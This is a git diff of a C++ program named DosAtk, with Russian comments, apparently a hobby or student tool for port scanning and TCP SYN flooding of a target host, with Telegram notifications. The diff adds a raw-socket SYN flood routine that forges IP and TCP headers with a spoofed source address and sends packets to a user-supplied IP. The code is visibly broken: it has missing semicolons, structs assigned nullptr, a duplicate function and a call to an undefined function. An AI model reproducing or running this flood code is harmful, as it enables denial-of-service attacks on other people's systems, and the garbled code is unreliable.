diff --git a/src/DosAtk.cpp b/src/DosAtk.cpp index 89930e5..9a78688 100644 --- a/src/DosAtk.cpp +++ b/src/DosAtk.cpp @@ -1,4 +1,11 @@ -// ====== DCL библиотеки ====== // +/* +██████╗ ██████╗██╗ ██╗ ██╗██████╗ +██╔══██╗██╔════╝██║ ██║ ██║██╔══██╗ +██║ ██║██║ ██║ ██║ ██║██████╔╝ +██║ ██║██║ ██║ ██║ ██║██╔══██╗ +██████╔╝╚██████╗███████╗ ███████╗██║██████╔╝ +╚═════╝ ╚═════╝╚══════╝ ╚══════╝╚═╝╚═════╝ +*/ #include // Работа со строками и памятью (memset, memcpy) #include // POSIX API (close, read, write) @@ -9,14 +16,18 @@ #include // Определение констант сетевых интерфейсов (IFNAMSIZ) #include // Управление сокетами и интерфейсами (ioctl) #include // Флаги файловых дескрипторов (fcntl) -#include // Библиотека libcurl для HTTP/HTTPS запросов -#include // Библиотека для работы с JSON в C++ -// ====== DCL глобальные переменные ====== // +/* +██████╗ ██████╗██╗ ██╗ ██╗ █████╗ ██████╗ ███████╗ +██╔══██╗██╔════╝██║ ██║ ██║██╔══██╗██╔══██╗██╔════╝ +██║ ██║██║ ██║ ██║ ██║███████║██████╔╝███████╗ +██║ ██║██║ ██║ ╚██╗ ██╔╝██╔══██║██╔══██╗╚════██║ +██████╔╝╚██████╗███████╗ ╚████╔╝ ██║ ██║██║ ██║███████║ +╚═════╝ ╚═════╝╚══════╝ ╚═══╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════ +*/ -// Параметры -int argc; // Количество аргументов при вызове программы -char **argv; // Массив строк с агрументами +int argc // Количество аргументов при вызове программы +char **argv // Массив строк с агрументами std::string attack_type; // Тип атаки: scan или syn std::string domain; // Доменное Имя std::string ip; // Ip жертвы @@ -24,20 +35,24 @@ std::string port; // Порт для syn std::string log_file; // Путь к директории для логов std::string telegram_id; // Telegram ID для уведомлений std::string telegram_token; // Токен бота для уведомлений - -// Статистика int n_ok_requests; // Количество успешных запросов int n_fail_requests; // Количество не успешных запросов std::chrono::system_clock::time_point start_timestamp; // Начальное время работы -// Переменные std::string log_msg; // Сообщение, которое будет записано в лог-файл std::string fin_msg; // Сообщение, которое будет выведено в консоль пользователю std::string msg; // Сообщение, которое будет отправлено в телеграм int status; // Статус работы программы -// ====== DCL процедуры ====== // +/* +██████╗ ██████╗██╗ ██████╗ ██████╗ ██████╗ ██████╗███████╗██████╗ ██╗ ██╗██████╗ ███████╗███████╗ +██╔══██╗██╔════╝██║ ██╔══██╗██╔══██╗██╔═══██╗██╔════╝██╔════╝██╔══██╗██║ ██║██╔══██╗██╔════╝██╔════╝ +██║ ██║██║ ██║ ██████╔╝██████╔╝██║ ██║██║ █████╗ ██║ ██║██║ ██║██████╔╝█████╗ ███████╗ +██║ ██║██║ ██║ ██╔═══╝ ██╔══██╗██║ ██║██║ ██╔══╝ ██║ ██║██║ ██║██╔══██╗██╔══╝ ╚════██║ +██████╔╝╚██████╗███████╗ ██║ ██║ ██║╚██████╔╝╚██████╗███████╗██████╔╝╚██████╔╝██║ ██║███████╗███████║ +╚═════╝ ╚═════╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝╚══════╝╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚══════╝ +*/ -void my_check_params() +int my_check_params() { // Данная процедура записывает в глобальные переменные параметры // (attack_type, domain, ip, port, log_file, telegram_id, telegram_token) проводимой атаки, поступившие при вызове программы @@ -115,41 +130,35 @@ void my_check_params() telegram_token = optarg; // Сохраняем токен бота Telegram break; case 'h': // Обработка опции -h (--help) - status = 0; // Устанавливаем статус "показать справку" + return 0; // Устанавливаем статус "показать справку" break; case '?': // Обработка неизвестной опции - status = -101; // Устанавливаем статус "неизвестная опция" + return -101; // Устанавливаем статус "неизвестная опция" break; } } - // Проверяем корректность введенных параметров - if (status != 0 && status != -101) + if (status != 0 && status != -101) // Проверяем корректность введенных параметров { - // Проверяем валидность типа атаки - if (attack_type != "flood" && attack_type != "scan") { - status = -1; // Некорректный тип атаки + if (attack_type != "flood" && attack_type != "scan") { // Проверяем валидность типа атаки + return -1; // Некорректный тип атаки } - // Для сканирования портов должна быть указана цель (домен или IP) - else if (attack_type == "scan" && domain.empty() && ip.empty()) { - status = -10; // Не указана цель для сканирования + else if (attack_type == "scan" && domain.empty() && ip.empty()) { // Для port scanning нужен домен или IP + return -10; // Не указана цель для сканирования } - // Для флуд-атаки должна быть указана цель (домен или IP) - else if (attack_type == "flood" && domain.empty() && ip.empty()) { - status = -20; // Не указана цель для флуда + else if (attack_type == "flood" && domain.empty() && ip.empty()) { // Для флуд-атаки нужен домен или IP + return -20; // Не указана цель для флуда } - // Проверяем, что если указан Telegram ID или токен, то должны быть указаны оба - else if ((!telegram_id.empty() && telegram_token.empty()) || - (telegram_id.empty() && !telegram_token.empty())) { - status = -600; // Неполные данные для Telegram + else if ((!telegram_id.empty() && telegram_token.empty()) || // Если указан telegram token то нужен и id + (telegram_id.empty() && !telegram_token.empty())) { // Если указан telegram id то нужен и token + return -600; // Неполные данные для Telegram } - // Если все проверки пройдены и тип атаки - сканирование - else if (attack_type == "scan") { - status = 1; // Валидные параметры для сканирования + else if (attack_type == "scan") { // Если все проверки пройдены и тип атаки - сканирование + return 1; // Валидные параметры для сканирования } - // Если все проверки пройдены и тип атаки - флуд - else if (attack_type == "flood") { - status = 2; // Валидные параметры для флуда + + else if (attack_type == "flood") { // Если все проверки пройдены и тип атаки - флуд + return 2; // Валидные параметры для флуда } } @@ -160,11 +169,9 @@ void my_diag() { // Данная функция вызывается в случае ошибки на каком-то этапе и на основании поступившего кода, // формирует сообщение с описанием произошедшей ошибки - printf("begin my_diag, status: %i\n", status); // debug - // Выбор сообщения в зависимости от кода ошибки - switch (status) + switch (status) // Выбор сообщения в зависимости от кода ошибки { case 0: // Специальный случай - вывод справки по использованию printf("Usage: ./DosAtk [options]\n" @@ -195,14 +202,14 @@ void my_diag() break; } - // Отладочный вывод - завершение работы функции printf("end my_diag\n"); // debug } // Функция для экранирования специальных символов в строке перед использованием в JSON // Принимает: const std::string& s - исходная строка для обработки // Возвращает: std::string - строка с экранированными спецсимволами -std::string escape_json(const std::string& s) { +std::string escape_json(const std::string& s) +{ // Возвращаем строку с экранированными символами // ===== Объявления ===== @@ -231,7 +238,8 @@ std::string escape_json(const std::string& s) { return result; // Возвращаем обработанную строку } -bool is_numeric(const std::string& s) { +bool is_numeric(const std::string& s) +{ // Проверка, является ли строка числом (включая отрицательные) // ===== Объявления ===== @@ -261,7 +269,8 @@ bool is_numeric(const std::string& s) { return true; } -void my_msg() { +void my_msg() +{ printf("begin my_msg"); // debug // Объявление @@ -342,11 +351,12 @@ void my_msg() { printf("end my_msg"); // debug } -void my_log() +int my_log() { // Данная функция записывает в файл лога сообщение printf("start my_log"); // debug printf("end my_log"); // debug + return 0; } void my_fin() @@ -406,9 +416,162 @@ void my_fin() std::exit(status); } +int my_dns() +{ + // Данная процедура сопостовляет доменное имя с IP + printf("start my_dns"); // debug + printf("end my_dns"); // debug +} + +unsigned short checksum(void *data, int len) +{ + /** + * Рассчитывает контрольную сумму для пакета (алгоритм RFC 1071) + * + * Параметры: + * data - указатель на данные пакета + * len - длина данных в байтах + * + * Возвращает: + * 16-битную инвертированную контрольную сумму + */ + // === Объявление локальных переменных === + uint16_t *ptr; // Указатель для чтения 16-битных слов + unsigned long sum; // Аккумулятор для суммы + uint8_t *byte_ptr; // Указатель для чтения одиночного байта + // === Инициализация переменных === + ptr = (uint16_t *)data; // Инициализируем указатель на данные + sum = 0; // Начальное значение суммы + // === Основная логика процедуры === + // Суммируем 16-битные слова + while (len > 1) { + sum += *ptr++; // Добавляем текущее слово и перемещаем указатель + len -= 2; // Уменьшаем счетчик оставшихся байт + } + if (len == 1) { // Если остался непарный байт, добавляем его в сумму + byte_ptr = (uint8_t *)ptr; + sum += *byte_ptr; + } + sum = (sum >> 16) + (sum & 0xFFFF); // Сворачиваем 32-битную сумму в 16 бит (перенос + остаток) + return (unsigned short)(~sum); // Возвращаем инвертированную 16-битную сумму +} + + +int my_tcp_syn() +{ + /* + * Отправляет TCP SYN запрос на указанный IP и порт + * status: + * 0 - запрос успешно отправлен (атака продолжается) + * 2 - достигнуто максимальное количество запросов (1000) + * -201 - ошибка создания raw-сокета + * -202 - ошибка отправки SYN-пакета + */ + printf("start my_tcp_syn"); // debug + + + // === Объявление локальных переменных === + int sock; // Основной raw-сокет для отправки пакетов + int one; // Флаг для setsockopt + // Структуры для адресов + struct sockaddr_in target_addr; // Адрес цели + // Параметры подключения + uint16_t target_port = 0; // Порт цели (в сетевом порядке байт) + // Структуры заголовков + struct iphdr ip_header; // IP-заголовок пакета + struct tcphdr tcp_header; // TCP-заголовок пакета + // Псевдозаголовок для контрольной суммы + struct { + uint32_t saddr; + uint32_t daddr; + uint8_t zero; + uint8_t protocol; + uint16_t tcp_len; + } pseudo_header; + // Буферы данных + char temp_buf[sizeof(pseudo_header) + sizeof(tcphdr)]; // Буфер для контрольной суммы + char packet[sizeof(iphdr) + sizeof(tcphdr)]; // Итоговый пакет + + // === Инициализация переменных === + sock = -1; + one = 1; + target_addr = nullptr; + target_port = htons(atoi(port.c_str())); + ip_header = nullptr; + tcp_header = nullptr; + pseudo_header = nullptr; + temp_buf = nullptr; + packet = nullptr; + + // === Основная логика процедуры === + // 1. Создание raw-сокета + if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) < 0) { + return -201; + } + + // 2. Установка опции IP_HDRINCL + setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)); + + // 3. Настройка адреса цели + memset(&target_addr, 0, sizeof(target_addr)); + target_addr.sin_family = AF_INET; + inet_pton(AF_INET, ip.c_str(), &target_addr.sin_addr) <= 0 + + // 4. Формирование IP заголовка + memset(&ip_header, 0, sizeof(ip_header)); + ip_header.ihl = 5; + ip_header.version = 4; + ip_header.tot_len = htons(sizeof(iphdr) + sizeof(tcphdr)); + ip_header.ttl = 64; + ip_header.protocol = IPPROTO_TCP; + ip_header.saddr = inet_addr("127.0.0.1"); + ip_header.daddr = inet_addr(ip.c_str()); + + // 5. Формирование TCP заголовка + memset(&tcp_header, 0, sizeof(tcphdr)); + tcp_header.source = htons(12345); + tcp_header.dest = target_port; + tcp_header.seq = htonl(123456); + tcp_header.doff = 5; + tcp_header.syn = 1; + tcp_header.window = htons(5840); + + // 6. Расчет контрольной суммы + pseudo_header = { + .saddr = ip_header.saddr, + .daddr = ip_header.daddr, + .zero = 0, + .protocol = IPPROTO_TCP, + .tcp_len = htons(sizeof(tcphdr)) + }; + memcpy(temp_buf, &pseudo_header, sizeof(pseudo_header)); + memcpy(temp_buf + sizeof(pseudo_header), &tcp_header, sizeof(tcphdr)); + tcp_header.check = checksum(temp_buf, sizeof(temp_buf)); + + // 7. Сборка пакета + memcpy(packet, &ip_header, sizeof(iphdr)); + memcpy(packet + sizeof(iphdr), &tcp_header, sizeof(tcphdr)); + + // 8. Отправка пакета + if (sendto(sock, packet, sizeof(packet), 0, + (struct sockaddr *)&target_addr, sizeof(target_addr)) < 0) { + n_fail_requests++; + return -202; + } else { + n_ok_requests++; + } + + // 9. Проверка завершения + if ((n_ok_requests + n_fail_requests) >= 1000) { + return 2; + } + + + close(sock); + printf("end my_tcp_syn"); // debug + return 0; +} -// curl --http2 "https://dns.google/resolve?name=example.com&type=A" -// curl --http2 --header "accept: application/dns-json" "https://1.1.1.1/dns-query?name=cloudflare.com" --next --http2 --header "accept: application/dns-json" "https://1.1.1.1/dns-query?name=yandex.com" int my_dns() { // Данная процедура сопостовляет доменное имя с IP @@ -496,159 +659,13 @@ size_t WriteCallback(void* contents, size_t size, size_t nmemb, std::string* out return total_size; } -void my_tcp_syn() -{ - // Данная процедура выполняет TCP SYN Flood атаку - printf("start my_tcp_syn"); // debug - - printf("end my_tcp_syn"); // debug -} - -unsigned short checksum(void *data, int len) { - /** - * Рассчитывает контрольную сумму для пакета (алгоритм RFC 1071) - * - * Параметры: - * data - указатель на данные пакета - * len - длина данных в байтах - * - * Возвращает: - * 16-битную инвертированную контрольную сумму - */ - // === Объявление локальных переменных === - uint16_t *ptr; // Указатель для чтения 16-битных слов - unsigned long sum; // Аккумулятор для суммы - uint8_t *byte_ptr; // Указатель для чтения одиночного байта - // === Инициализация переменных === - ptr = (uint16_t *)data; // Инициализируем указатель на данные - sum = 0; // Начальное значение суммы - // === Основная логика процедуры === - // Суммируем 16-битные слова - while (len > 1) { - sum += *ptr++; // Добавляем текущее слово и перемещаем указатель - len -= 2; // Уменьшаем счетчик оставшихся байт - } - if (len == 1) { // Если остался непарный байт, добавляем его в сумму - byte_ptr = (uint8_t *)ptr; - sum += *byte_ptr; - } - sum = (sum >> 16) + (sum & 0xFFFF); // Сворачиваем 32-битную сумму в 16 бит (перенос + остаток) - return (unsigned short)(~sum); // Возвращаем инвертированную 16-битную сумму -} - - -void my_tcp_syn() { - /* - * Отправляет TCP SYN запрос на указанный IP и порт - * status: - * 0 - запрос успешно отправлен (атака продолжается) - * 2 - достигнуто максимальное количество запросов (1000) - * -201 - ошибка создания raw-сокета - * -202 - ошибка отправки SYN-пакета - */ - printf("start my_udp"); // debug - - - // === Объявление локальных переменных === - int sock; // Основной raw-сокет для отправки пакетов - int one; // Флаг для setsockopt - - // Структуры для адресов - struct sockaddr_in target_addr; // Адрес цели - - // Параметры подключения - uint16_t target_port = 0; // Порт цели (в сетевом порядке байт) - - // Структуры заголовков - struct iphdr ip_header; // IP-заголовок пакета - struct tcphdr tcp_header; // TCP-заголовок пакета - - // Псевдозаголовок для контрольной суммы - struct { - uint32_t saddr; - uint32_t daddr; - uint8_t zero; - uint8_t protocol; - uint16_t tcp_len; - } pseudo_header; - - // Буферы данных - char temp_buf[sizeof(pseudo_header) + sizeof(tcphdr)]; // Буфер для контрольной суммы - char packet[sizeof(iphdr) + sizeof(tcphdr)]; // Итоговый пакет - - // === Инициализация переменных === - sock = -1; - one = 1; - target_port = htons(atoi(port.c_str())); - - // === Основная логика процедуры === - // 1. Создание raw-сокета - if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) < 0) { - status = -201; - return; - } - - // 2. Установка опции IP_HDRINCL - setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)); - - // 3. Настройка адреса цели - memset(&target_addr, 0, sizeof(target_addr)); - target_addr.sin_family = AF_INET; - inet_pton(AF_INET, ip.c_str(), &target_addr.sin_addr) <= 0 - - // 4. Формирование IP заголовка - memset(&ip_header, 0, sizeof(ip_header)); - ip_header.ihl = 5; - ip_header.version = 4; - ip_header.tot_len = htons(sizeof(iphdr) + sizeof(tcphdr)); - ip_header.ttl = 64; - ip_header.protocol = IPPROTO_TCP; - ip_header.saddr = inet_addr("127.0.0.1"); - ip_header.daddr = inet_addr(ip.c_str()); - - // 5. Формирование TCP заголовка - memset(&tcp_header, 0, sizeof(tcphdr)); - tcp_header.source = htons(12345); - tcp_header.dest = target_port; - tcp_header.seq = htonl(123456); - tcp_header.doff = 5; - tcp_header.syn = 1; - tcp_header.window = htons(5840); - - // 6. Расчет контрольной суммы - pseudo_header = { - .saddr = ip_header.saddr, - .daddr = ip_header.daddr, - .zero = 0, - .protocol = IPPROTO_TCP, - .tcp_len = htons(sizeof(tcphdr)) - }; - memcpy(temp_buf, &pseudo_header, sizeof(pseudo_header)); - memcpy(temp_buf + sizeof(pseudo_header), &tcp_header, sizeof(tcphdr)); - tcp_header.check = checksum(temp_buf, sizeof(temp_buf)); - - // 7. Сборка пакета - memcpy(packet, &ip_header, sizeof(iphdr)); - memcpy(packet + sizeof(iphdr), &tcp_header, sizeof(tcphdr)); - - // 8. Отправка пакета - if (sendto(sock, packet, sizeof(packet), 0, - (struct sockaddr *)&target_addr, sizeof(target_addr)) < 0) { - n_fail_requests++; - status = -202; - } else { - n_ok_requests++; - status = 0; - } - - // 9. Проверка завершения - if ((n_ok_requests + n_fail_requests) >= 1000) { - status = 2; - } - - close(sock); - printf("end my_udp"); // debug -} +/* +█████ █████ ██ ███ █████ ████ ███ █████ ████ ███ █ █ █ █ █ █ + █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ ██ ██ ██ ██ █ █ + █ ████ █ █ █ █ █ █ ████ █ █ █ ████ █████ █ █ █ █ █ █ ███ █ + █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ + █ █████ █ █ ███ █ █ █ ███ █ █ █ █ █ █ █ █ ███ █ +*/ int main(int arg_ctr, char **arg_ptr) { @@ -670,24 +687,18 @@ int main(int arg_ctr, char **arg_ptr) std::string msg; int status = 0; - // Тело программы - - // Проверяем параметры командной строки - my_check_params(); + status = my_check_params(); // Проверяем параметры командной строки - // Обрабатываем результат проверки параметров - switch (status) + + switch (status) // Обрабатываем результат проверки параметров { case 1: // Режим сканирования портов (UDP) - // Пытаемся разрешить DNS (если указано доменное имя) - my_dns(); - + status = my_dns(); // Пытаемся разрешить DNS (если указано доменное имя) if (status == 0) // Если DNS разрешен успешно { - // Запускаем цикл UDP-атаки - while (true) + while (true) // Запускаем цикл UDP-атаки { - my_udp() + status = my_udp() if (status == 2) // Код завершения атаки { break; @@ -695,7 +706,7 @@ int main(int arg_ctr, char **arg_ptr) else if (status < 0) // Обработка ошибок { my_diag(); // Выводим диагностику - my_log(); // Пытаемся записать в лог + status = my_log(); // Пытаемся записать в лог if (status == 1) // Если записать лог не удалось { my_msg(); // Отправляем сообщение @@ -710,7 +721,7 @@ int main(int arg_ctr, char **arg_ptr) else if (status == 1) // Ошибка DNS-разрешения { my_diag(); // Выводим ошибку - my_log(); // Логируем ошибку + status = my_log(); // Логируем ошибку if (status == 0) // Если лог получилось записать { @@ -725,14 +736,14 @@ int main(int arg_ctr, char **arg_ptr) break; case 2: // Режим SYN-флуда (TCP) // Пытаемся разрешить DNS (если указано доменное имя) - my_dns(); + status = my_dns(); if (status == 0) // Если DNS разрешен успешно { // Запускаем цикл UDP-атаки while (true) { - my_tcp_syn() + status = my_tcp_syn() if (status == 2) // Код завершения атаки { break; @@ -740,7 +751,7 @@ int main(int arg_ctr, char **arg_ptr) else if (status < 0) // Обработка ошибок { my_diag(); // Выводим диагностику - my_log(); // Пытаемся записать в лог + status = my_log(); // Пытаемся записать в лог if (status == 1) // Если записать лог не удалось { my_msg(); // Отправляем сообщение @@ -755,7 +766,7 @@ int main(int arg_ctr, char **arg_ptr) else if (status == 1) // Ошибка DNS-разрешения { my_diag(); // Выводим ошибку - my_log(); // Логируем ошибку + status = my_log(); // Логируем ошибку if (status == 0) // Если лог получилось записать { @@ -775,7 +786,7 @@ int main(int arg_ctr, char **arg_ptr) case -101: case -600: my_diag(); // Выводим диагностику - my_log(); // Логируем событие + status = my_log(); // Логируем событие if (status == 0) // Без уведомления {